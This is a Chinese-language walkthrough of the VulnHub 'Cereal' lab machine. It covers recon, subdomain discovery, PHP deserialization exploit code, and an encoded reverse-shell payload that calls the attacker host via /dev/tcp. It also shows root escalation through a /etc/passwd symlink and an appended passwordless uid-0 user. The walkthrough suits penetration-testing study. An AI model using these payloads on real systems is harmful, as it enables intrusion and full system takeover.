外壳坚硬的谷子

靶机下载地址:https://download.vulnhub.com/cereal/Cereal.ova

运行环境 virtual box和vmware workstaion

难度:高 (系统环境,漏洞类型都是非常接近真实的渗透场景,花费了2天的功夫才完成!)

目标:取得root权限 + 2个flag

靶机亮点:与众不同的一台靶机,是最接近真实场景,相信打完这个靶机,会对自己的渗透能力有所提高!!

涉及的技能点:

信息收集  (很多端口的陷阱)

路径枚举  (关键的线索)

密码爆破  (web的登录不成功)

域名解析  (靶机中很不常见--通过靶机作者的提示)

匿名FTP

子域名爆破  (44441端口下的枚举)

源码审计   (备份文件的提示)

反序列化漏洞  (需要了解Php和序列化变成)

编写漏洞利用代码 (构造)

进程监视   (pspy工具,监控到了chown.sh脚本文件)

本地提权   (内核,文件权限没有突破点,通过进程监视的方法,修改gid,uid)

做好做心里准备,打靶过程十分曲折!

导入虚拟机

kali主机IP地址靶机IP地址192.168.1.50/23192.168.1.74/23

主机发现

arp-scan -l

靶机的IP地址是192.168.1.74

端口扫描

竟然有了这么多的端口,这台靶机的端口数量是挺多的!

服务版本发现

扫描出了很多结果,下一步需要对这些端口挨个进行梳理分析,看看哪一个端口能够被渗透所利用!

先搜索vsftpd3.0.3是否存在已知的漏洞利用代码;

如图所示:只查到了一个拒绝类服务攻击的代码~

查看到ftp服务开启了一个匿名登录的功能

尝试登录ftp

在浏览器上登录ftp://192.168.1.74

如图所示:只有一个Pub的文件目录

在pub文件目录下,没有什么文件的

在kali上测试,看看是否能利用put功能上传文件,因为我在网页上没有看到有上传的入口

尝试put方式上传本地的g5.txt ,提示了权限拒绝

550 Permission denied.

在pub目录下,再次尝试上传动作,也是提示权限拒绝

甚至,我用了nc命令连接ftp服务

└─# nc 192.168.1.74 21 

这些常规的ftp服务命令都是不能用的!

到此为止FTP暂时我先放过。

open ssh的8.0版本也是不存在已知的漏洞可以利用

80端口下,是apache服务,但是默认应该暴露出的系统版本这里被靶机作者设置给隐藏了,不过取巧的方式可以在打开靶机看到是什么系统

这里的请求方式允许古老的TRACE的方式!

头部信息是Rocky linux

在139和445端口的扫描结果下,按理说应该是SMB这些的服务,可是从结果上来看,是没有被探测出来的,状态是tcpwrapped

查询  tcpwrapped这个状态,进一步说明可能端口下不是运行的默认的服务!

为了证实139 445端口下不是运行的smb服务

使用 enum4linux 192.168.1.74 来扫描

进一步证明了目标靶机中是没有smb服务,因为这些端口没有任何回应!

这些端口都是没有被识别出来的!

我尝试用nc命令去连接

结果显示,连接成功,证明这些端口是开放状态,但是端口内输入请求,服务端都不会给与响应!

说明开放的不是已知的端口,还有可能就是一些虚假端口(蜜罐程序设计,收集攻击的信息)!

剩下的这些端口结果是一样的!

3306是一个mysql数据库端口,虽然开放了该端口,但是应用层面是是禁止客户端连接的!

总体来说目标靶机 80.44441是开放的已知端口,目前的突破重点应该是这两个端口!

先访问192.168.1.74的80端口

看起来这个页面就是一个apache的测试页面。进一步证明了web程序和目标靶机的系统 (源码也无重要信息)

利用dirb 爬取隐藏的文件或者目录,默认使用一个小字典文件,接下来将对爬取出的隐藏路径进行访问分析;

先来看admin这个路径

一个后台的登录界面,弱密码,密码字典爆破均无结果。

再来看blog这个路径

提示了我们需要访问这个域名,访问备份文件!

访问这个域名前,继续查看爬取出来的路径,在这个403绕过的,是用bypass无效!

phpinfo这个路径也很重要,在我学习安装PHP的时候,老师一再强调,安装测试完成后一定要将这个文件删除或者替换

这里面暴露了靶机的一些PHP关键的配置信息。

继续查看/blog/wp-admin这个路径,默认这个wp-admin应该是wordpress的后台管理员的路径,如图:访问目标靶机这个路径时出现了重定向到cereal.ctf/这个域名下的显示!

其他的隐藏路径没有什么有价值的线索~

修改kali的hosts文件,尝试用域名去访问

修改完成后,通过域名去访问

首页面保持一致  (在实际的工作中,用域名和IP访问的业务网站,结果会存在不一样的页面!)

/admin路径也是一样的!

访问/blog页面出现的不一样的界面。页面提示了有一个备份文件的路径

往下翻,有一个搜索的表单,尝试输入等特殊符号,进行sql 注入测试,结果无效,并且明确得知这是一个wordpress程序

先访问这个路径,预料之中显示了wordpress的后台管理员界面

弱口令破解无法进入;如果进入了wordpress,可以利用其插件等漏洞进行突破!

针对刚才发现的备份文件路径,进行隐藏路径的扩展名进行爬取

结果显示没有得到有效的线索

使用了一些字典文件,进行尝试,但是执行过程却是异常的!

更换其他的路径爬取工具,再次尝试

这里,我选用的是比较小的一个字典 (真实的渗透环境需要多运行几个字典)点击start开始枚举

这样他就开始了枚举动作

在爬取的过程中,如果返回了200的HTTP状态码,证明了备份文件是存在的!

但是最终的爬取结果是一无所获的!

如果你没有这些密码字典路径,可以下载这个文件

apt install seclists

使用kali的wpscan,对其应用进行检查

使用  -e参数枚举漏洞类型且对插件进行检查

wpscan --url-e vt,vp --plugins-detection mixed

                                                                                  

在扫描结果中没有发现插件,主题的提示

在样式相关的链接中进行查看,

没有得到有价值的线索

/wp-content/themes/twentytwentyone/style.css?ver=1.3

有一个自述文件

尝试访问也没得到有价值的线索

/readme.html

剩下的一些路径我也访问了,没有有效的线索,现在重点就是要登录到应用的后台管理来得到突破边界的机会。

到此为止,针对目标靶机的80端口探测先暂停!

接下来就要对44441这个已知端口进行探测了

用域名访问44441端口

只是出现了一个简单的页面

再用dirb工具对其44441端口下的路径进行隐藏路径的爬取工作

只得到了一些cgi的403的路径

尝试用dirbuster

结果和dirb差不多,只是发现了一个存放图标样式的路径

拷贝其路径访问,都是一些图片的小文件,对渗透没有什么利用价值

到目前位置,对路径,扩展名的扫描工作遇到了一些困难,既然目标靶机是用域名访问,那么子域名这个方向是否可以利用?

使用kali的gobuster

选择它的主要原因就是由go语言开发,性能很好!

使用vhost 命令扫描其主机头信息(使用host头部),挂载一个DNS字典文件,结果不负有心人

一个子域名展现在眼前

secure,cereal.ctf:44441

发现了新的子域名,修改kali的hosts文件

浏览器访问这个路径

:44441/

一个新的web界面

查看其首页源码内容

发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)

里面的内容大致的意思是

通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!

那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?

这里还看到了一个被包含的js的文件

点击这个链接   :44441/php.js"

里面的内容大致就是序列化函数,大概率存在序列化操作

先对其页面进行功能化测试,输入127.0.0.1

在结果框中输出了结果

输入一些运营商的DNS的IP地址

结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!

总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)

这个地方是否会存在命令注入漏洞呢?

使用;号,|管道符这样的连接命令,连接一个系统id的命令

如图:没有任何返回

使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据

先把浏览器代理设置好

通过抓取的报文,得到的是一个POST的请求方式;

携带了一个obj的对象和一个ip 的变量要提交到服务端;

其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径

转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了

pingTest :序列化对象定义的的类

1 :代表类中一个数据的提交

ipAddress  : 类中提交的一个数据的变量名称

s  :  代表了序列化

9   : 代表了名称ipAddress 和 127.0.0.1字符串的长度。

这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!

如果觉得burp字体小,可以调的大一些

重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)

在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化

序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;

证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。

转发后,服务端并没有执行该序列化的内容

证明服务端对ip地址这样的格式存在检查机制!

为了弄清这个问题,将这个原始的命令发送请求发送给repeater

url被转换后,在repeater中点击send发送给服务端

在重放的界面中,可以构造一些注入命令;

我在这里添加 | ls ,发现服务端的响应报文有500的状态码

改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏

反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!

那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里

先停止burp的截断功能;

访问浏览器,查看是否有git的版本库文件,结果没有提示

查看.svn 也没有

再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件

再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件

在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)

先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;

再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak

寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)

既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak

查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!

使用kali的文本编辑器mousepad打开该文件

看起来是一个带有php标签的php语言文件;

查看该php源码文件,发现有html标签文件

其中有java脚本文件中的一些序列化操作函数

源码审计分析

class pingTest ---定义了类(反序列化对象的类)

public $ipAddress = "127.0.0.1";  -- 变量名称和赋值

public $isValid = False;   -- 校验是失败的

public $output = "";  -- 空值

这是之前抓取的报文中obj对象中有的内容

function validate() {  -- 定义了一个函数

if (!$this->isValid) {   -- 校验isValid函数是真还是假

if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))

{ -- 使用过滤器对传入的IpAddress 使用方法(使用filter_var进行判断)

$this->isValid = True;  --  fileter_var函数校验赋值若成功,将这个valid值变为True

}

$this->ping();    --  执行Ping的命令;

}

public function ping()    -- 以下是ping 的命令函数具体操作内容

        {

if ($this->isValid) {   -- isValid 若是 True

$this->output = shell_exec("ping -c 3 $this->ipAddress");   -- 执行内容就是使用ping  三个报文;

这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;

当post请求接收到来自obj请求的赋值时,进行一个解码的操作

f (isset($_POST[obj])) {

$pingTest = unserialize   --  反序列化操作

(urldecode($_POST[obj]));  --解码

} else {

$pingTest = new pingTest;   -- 新的赋值

}

$pingTest->validate();    --调用vali

分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!

实现绕过服务端的检查!

反序列化漏洞的利用方法

先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。

在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码

<?php

  class pingTest {

        public $ipAddress = "127.0.0.1";

        public $isValid = True;

        }

$obj = new pingTest();

echo urlencode(serialize($obj));

?>

运行该php文件

生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D 

将序列化内容粘贴到截获的报文之中去

将这个url 地址转换一下

能够看到有两个键值对 ipaddress  和isvalid

b=1 为布尔值,代表了真的意思!

点击发送,服务端返回了http状态码200

再观察服务端渲染回来的界面结果,看起来,是执行成功了!

再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!

结果成功!

由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!

这里我在223.5.5.5后面增加了  ;id

服务端回显了200的状态码

渲染界面里提示成功!

观察服务端回显的回应源数据文件

id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称

因此,就可以在此处插入更多的指令

查看目标靶机中是否有nc的命令?

结果命令没有回显

由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!

输入以下内容:

在kali中继续修改ser1.php文件

<?php

  class pingTest {

        public $ipAddress = "127.0.0.1|bash -i >& /dev/tcp/kali的ip/3028 0>&1";

        public $isValid = True;

        }

$obj = new pingTest();

echo urlencode(serialize($obj));

?>

保存ser1.php文件后,在kali上开启侦听3028端口

再次运行  ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D 

将这个序列化的数据内容插入的repter之中,点击发送!

如图所示:获得了一个反弹shell的链接!身份是apche

本地提权

先收获第一个flag!

查看操作系统版本

查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!

查看 目标系统内的所有用户

发现有一个rocky的用户可以登录系统!

查看rocky用户下的所有文件

重点放在了public_html下的文件,可以看到44441端口下的一些文件

进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!

查看目标靶机的系统进程

没有发现可利用的线索 (mysql用的是非root)

目标靶机启用了大量的端口!

这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!

在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具

pspy64一个linux系统进程监控工具

下载地址:

部分网络环境需要挂的代理访问

百度云下载地址:

链接:?pwd=1zrs

提取码:1zrs

从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)

我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!

先查看目标靶机的定时任务和root下的定时任务

在root下提示是没有权限的!

将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)

通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!

因此,我利用nc 来接收这个pspy64文件

bash-4.4$ nc -nvlp 3030 > pspy

传入成功

nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1

增加执行权限到pspy文件~

启动改文件 ./pspy

这个启动和执行过程需要等待一会,系统会不会有新的进程出现

1:33

在后台进程中,我发现了一个叫做chown.sh的脚本 ,众所周知chown是linux的一个命令

这应该是管理员自己创建的一个脚本文件

 /bin/bash /usr/share/scripts/chown.sh 

我在kali上监听3031端口,增加一个反弹shell的连接

修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031

查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取

查看该chown.sh文件

看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache

这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改

一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!

那么,这个命令脚本内容对目前渗透有什么帮助呢?

软连接这个命令这个时候就派上了用场!

先来看一下系统的/etc/passwd这个文件的属主和属组

在kali上只有root用户有可读可写权限,其他的只有读的权限

在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!

难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?

ln -sf /etc/passwd ./passwd

这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!

等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,

可是图中的passd权限却没有发生变化!

按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!

观察,/etc/passwd这个文件的属主和属组变化了!

这样的话就可以将root密码设为空了!

因为当前获得的反弹shell 不太稳定

我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去

echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd

最后查看passwd文件,注入成功!

最后使用su 命令,切换到daidai这个用户

提权成功,获取flag

到此结束,打靶结束!